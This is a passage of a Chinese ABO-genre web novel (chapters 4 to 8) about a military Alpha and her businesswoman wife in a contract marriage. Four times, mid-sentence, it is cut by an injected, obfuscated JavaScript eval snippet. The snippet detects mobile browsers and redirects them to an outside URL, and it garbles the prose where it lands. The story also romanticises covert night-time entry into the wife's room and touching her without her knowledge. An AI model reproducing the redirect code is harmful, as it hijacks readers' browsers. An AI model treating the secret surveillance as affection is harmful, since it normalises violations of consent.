祝敛青正在解开耳垂间的珍珠,听到这话,突然就笑了下:“你怎么也开始说麻烦了。” “大抵是和某个祝女士学的吧。” 裴烬野不算是古板沉闷的人,起码在祝敛青面前,她愿意配合对方需要的所有。 温和克制也行,甜食也不错,偶尔开个无足轻重的小玩笑也好,什么都好,只要是祝敛青就好。 裴烬野倚在墙边,正正好瞧见镜中人。 卸了妆的漂亮面容被酒精柔和,眼尾染上绯色,少几分冷锐,多了几分寂月下的盈盈清辉。 抬手间,单薄的腰肢拉扯,依稀能看见微微凹陷的脊柱节节往下,延至细腰处。 纤薄又柔软,总要她时时刻刻担忧力度会不会太重,这是裴烬野搂搭一整夜后得出的结论。 “那你喜欢我这样说吗?”祝敛青将珍珠耳饰收回匣子。 “如果这是祝女士的口癖的话,我并不介意,”裴烬野语气轻松,视线不像之前那么闪躲。 她能意识到祝敛青的改变,就在今夜,或许与宴会上的情绪波动有关,或许祝敛青想了什么,于是开始主动闲谈,而不是像之前一样的就事论事。 “那我以后会改掉,”祝敛青语气随意,但决定却坚决。 这让裴烬野少有的怔愣住,慢吞吞挤出一句话:“按照你喜欢的方式来。” “那你不会觉得不舒服吗?”祝敛青戴回眼镜,微微往后靠向椅子。 这是个很放松的姿态。 裴烬野还未回答,又听祝敛青开口:“裴烬野,我喜欢听实话。” 掺着酒精的声音低哑,莫名显得慵懒,可字句却是上位者的命令,叫裴烬野无法像之前一样模棱两可。 她只得坦诚:“太客套了,感觉很奇怪。” “什么奇怪?”祝敛青突然提问,尾调微挑,像是刻意落下的钩。 祝敛青很快接道:“因为我们现在是合法妻妻,但是却和陌生人一样拘谨?” 裴烬野下意识点了点头。 隐藏在暗处的犬突然不需要自己得寸进尺,猎物突然就送入口中,问她为什么不咬一口,这叫她一时反应不过来,但情绪是欣喜的。 “那你想再进一步吗?” 祝敛青好像不知道自己说了什么话,平静得好像刚刚要买一块蛋糕一样,甚至还没有会议桌上的情绪波动大。 “如果你没有和别人发展感情的想法,我们可以试着将合作加深一点。” 她极其冷静地开始剖析自己:“我没有喜欢的人,至少从现在到我之前的全部人生,我没有为任何一个人产生过喜欢这样的情感。” “前未婚妻你了解,是家族安排的联姻,但她后面觉得自己更需要Omega妻子,所以向我提出了退婚。” “我对她毫无感情,分开也不觉得惋惜,只是对分开的后果感到棘手。” 镜片下的眼眸变得冷锐,宛如在说一件事不关己的寻常小事。 “我不知道喜欢是什么感觉,但相信自己不会轻易心动,即便出现,也能理性控制,绝对忠于我们的婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538041|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姻。” 她语气郑重:“我觉得我们很合适,可以尝试当一辈子的伴侣。” 她对自己的想法没有半点遮掩,不需要细想就能猜出。 这段时间的和裴烬野合作让她感到舒适,然后在裴烬野不知情的地方,她或许还受到了一点压力,于是,她想要这段关系更进一步,变得更加牢固。 这就和她生意上的合作一样,得利的、舒服的合作就可以加订单,用更多合同将双方捆绑紧密。 裴烬野本该顺着同意,却没有第一时间开口。 她想要的更多。 不仅仅是合作一辈子那么简单。 如果这样就敲定,那在祝敛青眼里,她们就是绝对的合作关系,之后如果有不一样的情况发生,对她而言都是违约。 而裴烬野付不起违约的代价。 所以,她只是轻轻说了一句:“祝女士,你醉了。” 祝敛青抿紧唇角,像是没有意料到裴烬野会这样说,毕竟至今为止,裴烬野都没有拒绝过她。 她靠着椅背,揉了揉眉心。 觉得自己或许真的醉了,短短三个月就想一辈子。 她不知为何松了口气,又觉得心里的那块大石头重新压了回去。 她只好闭上眼,缓解长时间不戴眼镜导致的酸痛。 另一边的脚步声响起,紧接着是木门打开又合上的声音,正当祝敛青以为她要离开时,脚步声却靠近。 “我觉得你需要一杯温水,”裴烬野站到她身边。 祝敛青下意识睁开眼,没有习以为常的刺眼光亮,裴烬野先一步抬手,挡在她眼前,停顿片刻,直到她适应之后,才再次放手。 “谢谢,”祝敛青习惯性道谢。 裴烬野将水杯递给她,温声道:“不是不用那么客套了吗?” 祝敛青懵了下,掌心的玻璃杯传来舒适温度。 “抱……” 对不起的话脱口而出又顿住,祝敛青很快意识到自己的错误,又说:“对不……” 薄唇抿紧,祝敛青一时间都不知该说什么,习以为常的语言习惯突然要改变,连该说什么都不知道。 她满是歉意地看着裴烬野,坦诚道:“这好像比我想象中困难一点。” 无论是语言习惯,还是其他。 “没关系,”裴烬野笑了起来。 她五官略显偏向凌厉,隐隐还能瞧见一些浅淡的伤痕,显得偏麦色的皮肤更加粗粝,可她笑起来时,眼眸弯起,眼尾泛起几条细纹,便显得格外温和体贴。 “我们可以慢慢来,”她说。 裴烬野的语气诚恳又温柔:“在这段时间内先试一试,再考虑更长远的事情,好吗?” 听起来确实比自己突然的提议更好,祝敛青松了口气,答应了一声:“好。” 裴烬野笑意更浓,只说:“合作愉快。” 像她们第一次达成合作那样,只是祝敛青暂时抽不出手和她握住,于是重复对方的话语:“合作愉快。” 名为妻子的备忘录第一百零一条。 妻子想要和我更进一步。 注:不是相处守则,是妻允许我更靠近一点。 5. 第五章 尝试的第一步,是同睡一张床。 随手关上浴室的门,余雾与积水被一并抛到身后,场景切换到仅亮着台灯的卧室,裴烬野趿着拖鞋踏进其中,即刻捕抓到祝敛青的背影。 她先一步洗完澡,选择了远离台灯那一边的床,侧躺在床沿,整个人绷得笔直,两米的大床只睡了十厘米,感觉风一吹就要被晃下床。 裴烬野忍不住想笑,眼尾的细纹又多了一缕。 偏偏祝敛青看不见,无意识地裹紧被子,像是身处极寒冬天,将被子从头裹到脚,捂得严严实实,只露出半个脑袋。 但实际上,帝都还处于夏季,打开窗还能听到吵闹的蝉鸣。 为了防止妻子中暑,裴烬野非常体贴地调低了空调。 祝敛青似乎也意识到自己的紧张,偷偷将被子放下一点,露出捂得发红的耳垂。 裴烬野视线停留,眼眸幽深,语气却一如往常温和:“我关灯了?” 那人发出闷闷的一声“嗯”。 好像仓鼠。 裴烬野看着妻子仅露出的半个脑袋,翘起的浅栗色发丝微蓬,形成一种毛茸茸的感受,像极了那种会把自己卷成一团,埋在木屑里的无害小动物。 指尖按住开关,只听见“啪”的一声,房间骤然暗淡,紧接着是掀开被子、上/床的窸窣声。 裴烬野躺下的那一瞬间,明显感知到另一边人的身体变得极其僵硬,又往床沿挪了一厘米。 可爱的妻子。 裴烬野忍不住感慨,明明说好尝试,却连同睡一张床都会变得无措,和睡着时完全不一样。 睡着的妻子安静又乖巧,轻轻一碰就会皱起眉,不过很快就会在她的安抚中熟睡。 裴烬野无意识舔了舔牙尖,似乎还能尝到甜腻的奶油味。 可爱的、像仓鼠一样的妻子。 裴烬野平躺着,不再像之前夜晚那样,只能小心蹲在床边,无声注视着妻子。 但她也不能乱动,起码现在不行,只能老老实实地陷在妻子划分的区域,手贴着腿,腿紧并着不动,很像在躺着站军姿,连呼吸都要控制,稍重一点都会引起妻子的紧绷。 这对别人而言,或许十分为难,但好在裴烬野是个优秀军官,有着非常丰富的站军姿经验。 就当是一场特殊的潜伏活动,她的首要任务是让胆小的仓鼠习惯她的存在。 残留的光慢慢消失,漆黑如浓墨般淹没所有。 视觉被遮挡后,其他四感就变得格外灵敏。 裴烬野甚至能嗅到,隐藏在苹果沐浴露香气下的一丝酒味,是她妻子的味道,不过很快就被橡木苔的味道覆盖,紧紧包裹住。 妻子的味道很好闻,但她更喜欢只有自己信息素味道的妻子。 裴烬野十分清楚自己的恶劣,却也纵容着自己的恶劣。 旁边的人突然动了下,裴烬野屏住呼吸,耐心等待。 被子往下扯了一点,祝敛青发出轻轻的吸气声,大抵是太热了,开始小口小口地吸入冷空气。 这叫裴烬野想起名为妻子的备忘录第三条。 妻子体寒畏热,稍高一点的温度都会引起她的不适,尤其是睡梦中,需要用冷水让双手降温,才能触碰妻子。 刚刚捂了那么久,估计都冒汗了吧? 可怜又胆小的妻子。 许是这样的缓解还是太慢,祝敛青终于拽下薄被,两条腿伸出床外。 其实她的腰会更凉,如果妻子想快速降温的话。 裴烬野想了想又没说,怕吓到妻子,只是可惜刚刚白冲了十分钟的冷水澡。 大约过了五六分钟,才听到祝敛青低低出声:“裴烬野,你睡了吗?” 裴烬野眨了眨眼,想,自己是该醒着还是睡着? 入睡那么快,好像有点奇怪,而且她也很想知道妻子想和她说什么。 裴烬野放柔了声音,轻声回应:“还没有。” 话语刚落,她的妻子好像又紧张起来,刚刚放松的脊背一下子又绷紧。 裴烬野很想提醒她,这样会导致明天肌肉酸痛,但还是选择闭嘴。 幸好祝敛青这次没有让她等太久,她终于翻过身,由侧躺改成正躺,两个人的距离拉近了一点。 不怪祝敛青紧张,大约帝国人都被从小耳提面命,Alpha代表着强大与力量,同时也是不可控的代名词,尤其要远离易感期的Alpha。 每一年的新闻都得报道几个失控伤人的Alpha。 有些极端主义,甚至游行建议Alpha就该一辈子锁在军营里。 但祝敛青正在和一个Alpha躺在同一张床上,而且还是S级,一旦失控,会影响半个别墅区的那种。 其实越高等级的Alpha,越应该与Omega结合,Omega的信息素能够有效到安抚她们。 所以裴烬野能和一个Beta结婚的时候,祝敛青也感到十分吃惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538042|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不明白裴烬野是怎么在那么短的时间内,向军部申请到结婚许可。 祝敛青薄唇紧抿,犹豫再三,竟然又问出了之前的那个问题:“你睡着了吗?” 这次,她听到裴烬野的笑声,有些无奈地回应:“请问我是该睡着还是醒着,亲爱的祝女士。” 在漆黑一片的房间,用故作无奈的语气,裴烬野终于喊出那个纸条上的称呼。 亲爱的。 她默默用嘴型重复了一遍。 另一边的人却不曾察觉,只有打扰裴烬野睡觉的歉意,急忙道:“抱歉,我不大习惯和别人睡在同一张床上。” “不是说不用抱歉吗?”裴烬野接话,依旧是带笑的无奈语气,然后话风一转,道:“那我睡沙发?” 祝敛青陷入一瞬沉默,似乎有点同意,而后才慢吞吞挤出一句:“不用。” 在祝敛青看不见的漆黑中,裴烬野忍不住想笑。 真可爱啊妻子,理性和习惯在打架,最后只能委委屈屈地接受自己不喜欢的事情。 就好像吃不到自己想吃的糖,还得说服自己吃健康餐的小孩。 可裴烬野不想让自己的小孩为难,虽然她在战场上是个说一不二的指挥官,但在家里,她想听祝敛青的。 再说了,谁说祝敛青睡着后,她不能重新起来? 裴烬野对此非常有经验。 裴烬野刚准备起身,那边却突然动了下,微凉的小指勾住裴烬野的指节,惹得她浑身僵住。 罪魁祸首好像不知自己做了什么,强撑镇定,语气平静:“睡吧。” “晚安,裴少将。” 裴烬野深吸一口气,努力维持温和语气:“晚安,祝女士。” 相连的手杵在那儿,就好像一支不会动弹的木头。 明明有握过几次手,在祝敛青不知情的情况下,她也曾过分触碰过,可不知为何,那么简单地勾着手,却叫裴烬野心跳如雷。 裴烬野想笑又必须忍住,另一只碰了碰脸,只感觉到一片炙热,烫得厉害。 不知过了多久,另一边人的呼吸逐渐平缓,手无意识想要扯回,却被裴烬野勾紧。 有人轻轻开口:“亲爱的,生日快乐。” 睡梦中的人没有回应,裴烬野也不曾动弹,前所未有的一动不动,只是静静躺在妻子身边,牵着她的手。 名为妻子的备忘录第一百零二条。 妻子睡觉的时候喜欢牵着我的手。 6. 第六章 次日,清晨。 因上一任私人助理意外死亡,裴烬野的副官、现军衔上校的余非晚,如今暂兼私人助理一职。 这本来不是什么难事,起码余非晚之前是这样认为的。 裴烬野的生活寡淡,除了前线就是军区,除去极少数的社交外,就只剩下一堆工作,唯一的要求只有期期不落的各种财经杂志。 余非晚之前还和助理偷偷笑过,说比起战场,裴烬野其实更想在商场遨游,说不定退役后,会成为炒股大军的一员。 她们还提前预习了怎么拒绝裴烬野的借钱加仓,企图保住自己的养老金。 只是可惜,助理还没有等到老年裴烬野借钱,就先被铁臂螳螂咬断脑袋。 而她一向寡淡无趣的长官大人开始频繁作妖。 先是让余非晚代买了一批书,其中包含《沟通的艺术》、《说话的艺术》、《说话心理学》、《演讲的力量》。 说实话,余非晚差点以为裴烬野要竞选帝国主席,已经打算和家族商量,摩拳擦掌准备下注,时刻准备为新主席冲锋陷阵,争取从龙之功。 可裴烬野研究了一个星期的怎么说话,又开始看言情小说。 她还挺挑剔,让余非晚帮她筛选,市面最火热的AO文都不要,她专门最少见刁钻的AB文。 从小就被家族严格培养的余非晚哪里看过这个? 先是从明面的正经网站里,找了一堆《霸道直A狠追清冷b》、《娇弱小b哪里逃》、《AB倾城之恋》。 裴烬野一边皱眉头一边看,看完就问还有没有别的。 余非晚没办法,只能偷偷摸摸逮住家里最小的侄女,含糊其辞地问了半天,终于得到几个隐蔽的网址。 文里内容相当刺激,第一章还在介绍人物背景,第二章就开始换着花样砰砰砰。 让余非晚一边不停审阅,一边疯狂下载。 裴烬野刚开始看时还板着脸,一本正经地研究,不多时就将她赶出办公室,一个人躲着偷偷看,出来之后,十分罕见地夸了她几句。 但余非晚还没高兴几秒,就听到长官提出更过分的要求。 不想看文字版了,她想看动起来的。 余非晚:…… 余非晚能怎么办,只能去问小侄女。 视频是搞到了,但第二天就被家族安排了相亲——不堪其扰的小侄女和长辈告状了,长辈觉得她X压抑,需要赶紧找个伴侣。 相亲一个月,余非晚没找到合适伴侣,她的长官找到了,就是那个频繁出现在财经杂志封面的商业新贵。 余非晚深刻地记得那天,已经消失三天的长官,满面春风地回到办公室,一边给她塞喜糖,一边向她宣布了这个惊天动地的好消息。 其实,她以为裴烬野会孤独一辈子。 毕竟在此之前,她从来没对哪个人冒出过一点好感,余非晚甚至打算和她的长官当一辈子的苦行僧,在帝国历史上留下浓墨重彩的两笔孤狼爪印。 但不管怎么说,余非晚还是挺为她的长官感到高兴的。 喜糖自己吃了一颗,其余一分为二,一半塞给了被禁止使用所有电子产品的小侄女,一半放到了那个助理的坟前。 让她恭喜自己,以后财经杂志只需要订有祝敛青出现的那几期,还有她们的养老金真的保住了。 余非晚感动的眼泪在风中乱飞。 但第二天,余非晚就收到了长官新的刁难。 她要新房的规划设计总平面图,还得标记好监控和报警器。 余非晚差点掀桌子不干,沉着脸地用裴烬野的权限,联系了小区负责人,惹得人家再三询问,以为小区要变成虫族的下一个袭击点,忧心忡忡地加强了警卫。 这就是新婚妻妻的情趣吗? 有门不进,天天深夜翻墙回去。 余非晚不理解,但看着每天早上回来补觉的上司,更加坚定了自己的不婚主义。 之后余非晚的购物订单与日俱增,先是《花材图鉴》、《花艺配色基础与实践》、《如何给妻子挑选了礼物》、《高端珠宝的选择》。 自觉经历足够风雨的余非晚,已经看好花艺工具、各大拍卖场的联系方式,就等裴烬野一声令下。 结果,裴烬野选择了去花店订花。 余非晚:…… 还有今天早晨,余非晚毫不意外地收到了正在休假的长官的消息。 她要自己帮忙定一个家政公司,深度除虫后还要打扫新房。 余非晚一面平静执行,一面与招聘文员联系,质问她们,下一任私人助理到底什么时候来。 对方很为难,表示裴烬野的职位太高,筛选条件极其复杂,还得辛苦余上校再兼任几个月。 凭什么不是她被螳螂咬碎脑袋? ——— 裴烬野不知自己的副官正在考虑辞职,已和妻子赶回新家。 穿戴防护服的除虫人员接连出门,为首的那人走向裴烬野,恭敬道:“裴少将,我们已经检查清扫过一遍了。” 她递出打了一连串勾的工作表。 裴烬野随手接过,垂眼一一看过。 她今天穿得休闲,米色格纹短袖、白色宽松长裤,银制手表搭配婚戒,是祝家为她准备的老钱装,觉得这样更符合她的身份。 裴烬野穿什么都无所谓,衣柜里只有军队发的训练服、常服、制服,但看见妻子微微点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538043|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不经意露出满意的眼神后,她就知道副官的购物车又该刷新一遍。 不过现在先不着急,视线划过最后一排,裴烬野微微点头之后就道:“麻烦你们了。” 那人有些惶恐,大抵是第一次服务那么高级别的军官,一直低着头不敢多看,听到裴烬野声音,便急忙回答道:“是我们应该做的,之后有什么地方不满意,都可以联系我们重新打扫。” 听起来很亏本,但这套房子完全不需要打扫,未入住前就请人清扫过,她们一行人看来看去,居然只处理了一下窗沿的灰。 提起这事,对方突然想起来什么,忙道:“对了,裴少将,我们并没有发现什么虫子,但在主卧窗外看见了一两个脚印。” “不知道是装修工人留下还是其他,看起来蛮新的……” 她有些紧张,怕自己撞见惊天大事,说不定就是裴少将的政敌偷偷潜入,所以说得非常小心。 旋转在指尖的笔一顿,裴烬野下意识看向另一边的妻子,心底不由闪过一丝庆幸。 幸好她刚才体贴,说日光炙热,留祝敛青在车里躲凉。 见裴烬野看过来,祝敛青似有所感,一双灰青色的眼眸朝她看来。 裴烬野坦然与之对视,风吹起散乱发丝,微微弯起的眼眸,衬得笑容更加和熙而温柔。 即便是祝敛青,也看不出半点差错。 裴烬野转过头,笑容依旧,声音却低了下去,有意无意地警告:“我已经知道了,感谢你的提醒,但我希望你们忘记这件事,不要和任何人再提起,好吗?” 中性笔还在指尖间转动,赤色的眼眸却一片冷意,极具压迫感。 直到此刻,那人才能将面前这个长相优越、穿着休闲的Alpha,与新闻中反复提及的铁血少将形象重叠。 寒意从尾椎往上攀,瞬间席卷全身,她连声道:“我知道我知道,我明白的,签订的协议有规定,我们不会泄露关于户主的半点信息。” 裴烬野含笑点头,笑意却不及眼底。 那人慌乱说了再见,紧接着一行人以极快速度离开,仅几分钟后就彻底消失不见。 而裴烬野已为祝敛青打开车门。 女人从中走出,无意地询问了一句:“她们已经打扫干净了?” 裴烬野语气很是温和,回应:“已经深度清理了一遍,刚刚说是发现了几只小虫,但并不知道是不是叮咬你的那种,只是全部进行了消杀。” 星际虫族的爆发,确实会导致原本星球的虫子变异,产生许多新品种,即便是最厉害的生物学专家,也不能保证自己全部认识。 所以祝敛青没有怀疑,只是微微点头,与裴烬野并排走进她们新家。 7. 第七章 新房是裴烬野之前的军功奖励,由于长时间待在前线,裴烬野并未踏足。 选新房时,只将名下所有房产全部交于祝敛青,让她选择。 言而简之,对于自己名下的这套房子,裴烬野甚至没有祝敛青熟悉。 单手打开房门,先将祝敛青迎入,裴烬野才有空打量周围。 很温暖的原木风格,落地窗外皆是盈盈绿意,与当时军部发来的图纸基本一致,唯一能吸引裴烬野视线是摆在客厅沙发的军装与训练服。 “这是……”裴烬野眉头一锁,露出疑惑表情。 对此,祝敛青反而诧异于她的不知情,困惑道:“不是你让人送来的吗?” 她解释道:“就在我刚住进来的第一个星期。” 难道是军备部的安排,还是余非晚的贴心? 裴烬野眉头更紧,隐隐觉得不对。 无论是谁的安排,首先都要经过她的批准,而且她之前就特地嘱咐过余非晚,让她不要打扰到祝敛青。 心中想法跌宕起伏,裴烬野表面却突然笑了下,眉头松开,语气随意道:“我想起来了,是有这一回事。” “是军备部听说我结婚,以为我要搬出去住,怕衣服搬来搬去麻烦,特意多送了一套发到这边。” 听到这话,祝敛青不由点头,附和道:“送来的人也说自己是军备部,还提到了你的名字。” 裴烬野眉梢一跳,一边往那边走,一边语气依旧地继续说:“那就对了,可能是我一时忙忘了,都没提前和你说一声。” 她随手拿起衣服,漫不经心地扫过一圈。 一如之前那样,每年一换的夏季军装,其中包含三套训练服、两套制服,另外还有一套军式礼服,从帽子到作战靴,都是裴烬野熟悉的模样。 可她仍然觉得不对,拿起摆在最上面的制服,指尖抚过左肩,银制两星,代表着她的少将军衔,但里面那颗银星明显松了些,稍用力就开始晃,不似军备部那群强迫症的手笔,像是有人自己缝上的。 再看右肩,图案也也不对。 帝国法规定,迈入一星准将行列后,可自主成立千人团队,军团命名、图徽等皆由长官自己决定。 例如裴烬野的军团就叫黑翅鸢,团中成员左肩军衔,右肩黑翅鸢。 而这个制服的右肩却是一只张嘴咆哮的狮子。 据裴烬野所知,整个军队只有一个团选择了狮子图腾 野狮团,直隶于一星准将许峥的军团。 而许峥,是她妻子之前的未婚妻。 那个丑陋、卑鄙、愚蠢、无能、短视,用尽一切贬义词都无法形容的Alpha。 这是她的挑衅? 裴烬野看向轻微起毛的缝线、些许不起眼的磨损,不难判断这是许峥穿过的旧衣。 旧衣? 裴烬野抬眼看向旁边的妻子。 不难看懂许峥的暗示,说裴烬野只配穿她穿过的旧衣、娶她的前未婚妻。 裴烬野指尖发紧,无声将那件衣服攥成一团,眼底闪过一丝嘲讽。 可悲的、狭隘的蠢货,甚至不知道自己失去了怎么样的珍宝。 如果她能当面挑战自己,裴烬野说不定会高看她一眼,但用这种方式…… 可笑的胆小鬼。 众所周知,帝国军方分为两派,一派是许峥这种世家子女,幼时就用基因检测挑选出,集中资源培养,刚毕业就参军,进入直属于帝都的第一军团。 之后,在家族的安排下,参加几场稳赢的战役,靠着军功不断升迁,直到继承上一辈的职位。 另一类就是身份低微的平民,从最边缘的凶险战场一路拼搏,踩着虫族的尸骸与血,一步步踏回帝都。 这类人虽然艰难,但比那些世袭军官更有话语权。 而裴烬野,虽是同样的大家族出身,但却属于第二类,自是看不起许峥这种完全靠家族庇佑、只知道玩弄小手段的废物。 许是她太长时间没有说话,祝敛青察觉不对,疑惑道:“怎么了?” 裴烬野表情瞬间变得温和,含笑道:“没事,这套衣服有几个线头,需要退回去。” “是吗?”祝敛青下意识上前一步,想要看得更清楚,道:“我当时没怎么看,早知道就先检查一遍了,害得你多跑一趟。” 裴烬野不想让祝敛青碰到那个人的东西,直接将衣服往地上一丢,宽慰道:“是军备部的责任,你不必多想。” 她有意无意地踩过地面上的制服,往后踹远,在布料上留下一个明显的脚印。 祝敛青还想再说什么,裴烬野却先一步拿起桌上剩余的作战服,随意看了两眼就道:“其他都没有问题。” 许峥还没胆大到全部换掉。 “那就好,”祝敛青松了口气,可眉眼间的愁绪依旧。 为了宽慰妻子,裴烬野甚至试戴了下新面罩。 由于需要应对不同星球的环境,她们的作战面罩由铁制,形如獠牙,里头有一套分解其他气体的系统,戴上之后,下半张脸都被遮挡,只余下一双赤色眼眸。 “怎么样,合适吗?”裴烬野抬头看向妻子,被覆住的声音更低哑。 祝敛青的注意力被吸引,下意识看向裴烬野,讶然一愣。 裴烬野敏锐抓到了这点情绪,却没有退让,反而突然弯腰靠近,距离更近,又问:“怎么样?” “怎么不说话?” 裴烬野五官凌厉深邃,却总是在笑,温和有礼,叫人无意识放下警惕,但戴上面具后,伪装无处可藏,只剩下凉得近乎冷酷的赤瞳。 两种几乎割裂的感受交织,莫名的,祝敛青觉得这才是裴烬野,戴上面罩后反倒变得真实。 这样奇怪的感悟让她有些疑惑,不知自己为什么这样想,明明比起其他人,裴烬野表现得极其坦诚,几乎知无不言。 祝敛青轻轻眯了下眼,竟主动抬手向裴烬野。 那人下意识弯腰低头,要祝敛青更轻松地触碰到她的脸。 隔着面具,却好像依旧能捕抓到指尖的微凉,裴烬野轻轻磨了下牙,极力克制住想往妻子掌心蹭的想法。 与此同时,备忘录又加了一条。 妻子喜欢戴着面具的我。 裴烬野呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538044|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸重了些,迟顿片刻才想起来弯眼笑起,说:“这样会好一点吗?” 那一点违和感被人强行掩盖,但却驱赶不了祝敛青心里的那一丝不对劲。 但她什么都没说,只是微微偏头,好像在疑惑裴烬野在问什么,松散盘起的浅色发丝随之垂落一缕,散在耳畔,在日光下,如金色的鱼钩。 妻子在勾引我。 裴烬野这样想,但开口却克制有礼,提醒道:“你昨天晚上提到的试一试?” 祝敛青终于反应过来,裴烬野是在说什么。 但不等她回答,裴烬野就道:“戴着面具遮住脸会好一点吗?” 她偏头,主动靠近祝敛青的掌心,完全将脸贴了上去。 “这样就不会那么紧张了吧?” 妻子没有拒绝,她喜欢我戴着面具,裴烬野得出结论。 祝敛青后知后觉地反应过来,指尖蜷缩想要逃避,却好像抓得更紧,心里头的那点微弱的不对劲也在加深。 “比之前好一点,”祝敛青突然回应,眸光沉沉。 她的新婚妻子似乎隐藏了点什么? 裴烬野却陷在她指尖的温凉里,不曾察觉。 橡木苔的味道再次蔓延开来,面罩掩盖住沉重呼吸,只能听到她故作镇定的平静声音:“那接下来就这样吧。” “嗯?”祝敛青不解。 什么叫接下来就这样? 裴烬野没有犹豫,直接道:“如果戴上面具就可以试一试,那我以后就一直戴着面具。” “不用,”祝敛青下意识拒绝,继而又补充:“这样你会不舒服。” “就当做特训,”裴烬野回答得很快,又说:“执行任务的时候基本没有脱下来的时候,我已经习惯了。” 许是昨夜的勾指,又或者是今天的贴脸,一下子突破前三个月的凝滞,叫她无意识变得有些急切。 她声音沙哑道:“或者还可以这样。” 她抬起手,勾住对方鼻梁间的银框镜架,轻轻一扯,耳廓的发丝也被一并扯出,散落间,金色的钩子越累越多,灰青的眼眸在朦胧中,泛起粼粼波光。 心跳在加速,面具遮住大部分隐晦不能言的感情。 裴烬野的声音前所未有的含糊,几乎呢喃,要祝敛青仔细听,才能分辨。 她说:“看不清的话就会好很多,对吧。” 不等祝敛青回答,裴烬野的手就已覆在祝敛青落在面具的手上,微微收拢后压紧。 “这样也不会很抵触了,对吗?” 两人现在的距离极近,只差一步,鼻尖与鼻尖就会碰到一起,赤色眼眸紧紧注视着祝敛青,覆在她手背的掌心滚烫,生出薄汗。 裴烬野薄唇碾磨,最后还是松开手,突然退一步。 冷风瞬间灌入其中,被捂得发烫的手顿时凉下来,所有的旖旎都止于裴烬野松开手的那一瞬间。 等祝敛青再抬眼,眼前人已变作平常模样,温和道:“看来你更愿意接触这样的我,那我们就先带面具试一试吧。” 垂落的手发痒,祝敛青垂下眼,遮住所有情绪,只“嗯”了一声。 8. 第八章 一时无话,祝敛青躲入书房,深知穷寇莫追的裴烬野没有紧逼,直到夜色降临,浓墨涌来。 别墅的灯依次熄灭,漆黑之中,有人睁开眼,赤色眼眸沉静,没有一丝睡后的恍惚,反而透着过分清醒的、压抑的亢奋。 无人察觉,整个别墅都被橡木苔的味道淹没,像是掉入热带雨林中,长年累月浸泡在水中的木头,散出潮湿阴郁的泥泞味,恍惚间,还以为墙角处生出丛丛蘑菇。 而最浓郁的,莫过于左侧的那间卧室。 没了祝家的条件,同床而眠的进度还是太快。 祝敛青昨夜一整晚都没睡好,前几天又日日加班,说是生日,却像是受难日。 所以,裴烬野体贴地提出暂时分房,等两人逐渐熟悉后,再进行下一步。 祝敛青自然同意,早早就洗漱熄灯。 潮湿阴郁的苔藓挤进门缝,顺着床腿一点点攀爬,直至蹬出薄被的纤细脚踝,鹿角状的绿苔环住骨节,贪婪似的包裹往上。 ——咔嚓。 轻微的门锁声突然响起,把手压下一半却被迫止住。 门从内部锁住了。 外面的人也意识到这个问题,手从门把手滑落,脚步一转,又一次走进黑夜里。 不多时,那人又攀上熟悉的窗,这一次细心地将全部脚印擦除,毫不费力地推开纱窗,轻轻落地。 床间的人不曾察觉,她实在太困了,呼吸都被往日绵长了些,微微拉开的窗帘泄出一缕月光,撒向她眉眼,将精致眉眼雕刻得更加立体深邃,薄唇微微张开,像是刚刚摘下的樱桃。 妻子又在勾引我。 赤色的眼眸暗了暗,白日里和煦温柔的Alpha,此刻再无遮掩,满是疯执贪婪。 房间里的橡木苔味更浓,一呼一吸都是这个味道。 即便是刻意放轻的脚步声,在寂静房间里也格外清晰,人形阴影一点点靠近,代替月光,拢住床间的妻子。 似梦中有所感,祝敛青微微拧起眉头。 裴烬野为此,露出了些许伤心的表情。 此刻不再需要面具,她也不必遮掩,情绪随祝敛青的变化而起落,贪婪黏稠的视线始终停在对方身上。 不要皱眉,妻子。 被冷水泡得发皱的指尖冰凉,轻轻拂过祝敛青眉心。 粗粝与细腻相碰,却没有引起祝敛青的抵触,反而因为这点凉,而微微松眉。 妻子喜欢我的触碰。 